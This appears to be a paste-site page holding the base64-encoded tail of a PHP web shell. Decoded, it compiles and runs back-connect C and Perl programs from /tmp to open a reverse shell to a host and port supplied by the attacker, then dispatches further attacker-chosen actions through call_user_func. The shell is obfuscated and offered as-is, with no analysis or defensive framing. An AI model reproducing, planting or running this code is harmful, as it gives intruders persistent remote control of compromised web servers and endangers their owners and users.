cpIHsgDQogICAgICAgICAgICBjZigiL3RtcC9iYy5jIiwkYmFja19jb25uZWN0X2MpOyANCiAgICAgICAgICAgICRvdXQgPSBleCgiZ2NjIC1vIC90bXAvYmMgL3RtcC9iYy5jIik7IA0KICAgICAgICAgICAgQHVubGluaygiL3RtcC9iYy5jIik7IA0KICAgICAgICAgICAgJG91dCAuPSBleCgiL3RtcC9iYyAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOyANCiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIuZXgoInBzIGF1eCB8IGdyZXAgYmMiKS4iPC9wcmU+IjsgDQogICAgICAgIH0gDQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNwJykgeyANCiAgICAgICAgICAgIGNmKCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOyANCiAgICAgICAgICAgICRvdXQgPSBleCh3aGljaCgicGVybCIpLiIgL3RtcC9iYy5wbCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOyANCiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIuZXgoInBzIGF1eCB8IGdyZXAgYmMucGwiKS4iPC9wcmU+IjsgDQogICAgICAgIH0gDQogICAgfSANCiAgICBlY2hvICc8L2Rpdj4nOyANCiAgICBwcmludEZvb3RlcigpOyANCn0gDQppZiggZW1wdHkoJF9QT1NUWydhJ10pICkgDQogICAgaWYoaXNzZXQoJGRlZmF1bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkZGVmYXVsdF9hY3Rpb24pKSANCiAgICAgICAgJF9QT1NUWydhJ10gPSAkZGVmYXVsdF9hY3Rpb247IA0KICAgIGVsc2UgDQogICAgICAgICRfUE9TVFsnYSddID0gJ1NlY0luZm8nOyANCmlmKCAhZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRfUE9TVFsnYSddKSApIA0KICAgIGNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pOyANCj8+IA0KDQo8c3R5bGU+DQpib2R5ew0KZm9udC1mYW1pbHk6ICJjb3VyaWVyIG5ldyI7DQpiYWNrZ3JvdW5kLWNvbG9yOiBibGFjazsNCmZvbnQtc2l6ZTo4MCU7DQpjb2xvcjogIzI4RkUxNDsNCmJhY2tncm91bmQtaW1hZ2U6IHVybCgiZGF0YTppbWFnZS9naWY7YmFzZTY0LFIwbEdPRGxoTWdBcUFMTUxBQmNYRnlZbUpqQXdNQjBkSFNBZ0lCb2FHaGtaR1JRVUZDUWtKQndjSEFBQUFQLy8vd0FBQUFBQUFBQUFBQUFBQUNIL0MwNUZWRk5EUVZCRk1pNHdBd0VBQUFBaCtRUUZDZ0FMQUN3QUFBQUFNZ0FxQUFBRS8xREpTYXU5T051VGppeElJU1hKeEhrS2dwamRGN3FpY2tycVpDaTNRdWhUS2QyNWxBMG4yZTE0UitCa05WTDRWa3huVDBxYlBvVkNac21ISmVhTTB4K3hLdjd5a09VbEN3V0tKUUlBeVN3bEdNaGJpamJzamtMVU5ZQ0Jnb09FaFlBMUkxeHplako0Y3lRVGpJOWNYVlJlUldkS2wwMllTV09XbFZ4YlZWcFVvNXhaVGFJVVVaYWFZSnVhbHJDeVhINTJUbkI4ZTQwb2o3cDVMNzBqd0liR3g4akpGWk5MVVpDN0tWRnppOEp6dGF3VVhMSlJtcStaWTZlZ3JhdTJWcXFrNTV2aTJVTkIzR1BlbmptL2NYUzRiL1Z6dDlEVU1YUEtBQU1LdENBSno3TmdNUXFpT0RnTkR5TmFuN2pBZ2hoRUc3d3hzS0NrczZReGxaUlY2WUJPZGFRWUJvM0phMmsyd1ZKSXJCNGpscm55T1hJb2JLRE5tOGNZNGtFMHJDZFBadEI0dXZyMExzZTJkaVdQbGd6bnpCUkhjNmlZc2t2WnBSdFJwS2lVeGd6NnA2ZStydlM0NHNKSnRxeUdnekQxUlVtN1V4cWVXZCtNWHUyVVVpdEtqNmVrb3Z1NHNTbklreGZkVFNDcHJtaExYZzM3ZEdXckdOYy9zNFVpQUFBaCtRUUZDZ0FMQUN3QkFBRUFNQUFvQUFBRS96QWxSUkdpNnFSRE5jOWJGeW9TVmlDRitKVWtwbHlVb2NoelhkTXkzVktFMHQrWXlhNFMzRTJFUjBwU2libkFsa1lYREVqTnhXekQzcy9LVEFRQUZjRkFSUVo5UE1vdjVaUXlwOEd1dUh4T3I5dnYrTHlkNVZhd3l4WW1LR1ZvTDFOb1FsUmFWenBUaTFWWVUxYUpTMDVkVFpoUFVZbFRTWWxjajF3dkdLRTJvcEl6WG5DRmYzMElZbXVEZllXdlkzMTZ1TG02dTNxQlpYeXRoWHkwaHlNc3FEcUpwY2tZcDgxWVFwMURuS010bEVYVWwwelZWRmsrakVYZ1JPSXR0YjlxZnJMQzZMU3dmYXE4OGZMemVzS2NuWW4yZ20yc3NteWlpYmdOQVVqcW15S0RXcUFFbkRLdElSRk4wYW81SVlncFhEZGxCa0VoOUxFT2pqa1M3SE9Nb1FzMm9sVXJlaWhUenV2WEJwaXNZU1hWalNCMjhJYzNtNTlzTENOM29SSTNhdEswV2JLbWJaUkduQVdSaXR2WjdRTExON0ZhaHZ4QThzeUlqeXF6YXMxVFZVbWlydWxhNXBzWnN3RFRtMHNORGpTbDA4ZFFoWm1FL3NRbUY4RlpqRnZhS29WRVF3dFllR0hMdEFKY2lHVUVBQ0g1QkFVS0FBc0FMQUVBQVFBd0FDZ0FBQVQvc0tDaTFFbW5wbFF0cmdqU1haa2lVVjVKZ2lLaHVJb1JkMXdseTJCM1Z5Njh6emlGYUtoUjFJdzBaSzVZSXlKcm5HUHJaWnNWcTBFUmxrY0Zibk9ueXNvWUFJZy9Rc0hnWEFxbjJDQjFaMDZ2MisvNHZIN1B2NGRHYUg5d2IwWkhiaHVBSllKYVhrdU5QMHBVTUpHUVdveFJIWmRLbUZkQ25wMmNuNHlWT2xhUVJ6MUpYNTRJY29TdGE0UmpDV1VWaDdXdnJuMjd2TDIrZllpRFkyT0NzbWlIUnl0SFA4eFduNDlXcVowN1I1eldrWnBRU2s2Um1NdW00Rm1sT0QvU2xERzBac1lxZ2E3RHh4TWF1R08vOWZiM2UyNnpodkhyR3Z3b3hweVFkcW9Ed1hDcUpIM3A0U1NVbEUvWHFtV0N1RTNJd1NDb3VqVERhRkJqdEJmNmZOQ2tzOVh2WFltUkprckNRNEd2cGN0N3dRb2xJaGx3Sll1WnI3UWNPWWZqSXBkSm94QXUyU214Q1VXampMSXhtUmlKNTgrRlhaNXRuSWdTcFVDVmJmckJFdFl1MXN1dllQbnN5NVNVMGRoQmJrSWVLTWpVRWR0RzBpNDZuTVBvMmR5bHJITG9OUEwybVZSbjMzcDJ1VGdMMTlZMHNRcXJ1NHBDYlFRQUlma0VCUW9BQ3dBc0FRQUJBREFBS0FBQUJQOHdKVVVsVlFVVmV0TGhIdmdwQ0hKMUkwcVYxYVZNRktISWlsRlR0bjNyNUpYanQxWHJBdXVaWGtna2JGSThLbHZOb1ZSRysrMkFQS2ZWMmtzRUFKVXZKYk5ScU13aDlBZ2hHSWplcExaclRxL2I3L2k4ZnA4L2sxZE9mMnB3Rm1NYWhtVW9WbFFYVG94WGtFa3prNU5WTlV4Q1RwbzlUNTJTSmtlZ1VJdVVuSlZZcUZPVWp6bCtoM0Z1R0s5bloxNWdzbVdDWjN5OHZiNi9mQ3lFUmE1bGhZTWtUbWZDV2tHU3BEVFB6czFaUWxCRTJEQ2lVcGpXbnFFK3prWFEyS21tWEtCeXlMWndndXpJYkxITDZzRDE5dmQ2dEduQ3VCWEVhWUowN1RPeFpkcUZSOUowUEdKbHNGczNVOXNrZGR1MjdTSEJJT2dPbGhvWFpDR2xqUHAyMXFoekp3Wlp3Rm43Nk9GYnlkSWV2NUJ3K0FsTU1mQkVDR3FwTXNiNGlORWdLaWNPazFoc3hDbG9sR3M0SWVrOHBkVG5qbmh3WU1KQ0ZEV2x2RFF0czJyZEk0amZzV1BMbEtXUlNnYWhFMGtKaWVic3FYQkd4TE5GSkg3S2RxMFRLTE11NG5Lc3RsWUh0SzdxM3IyYmQ1V21ZVVFSQUFBNyIpOw0KfQ0KPC9zdHlsZT4NCg0KPC9kaXY+")); ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement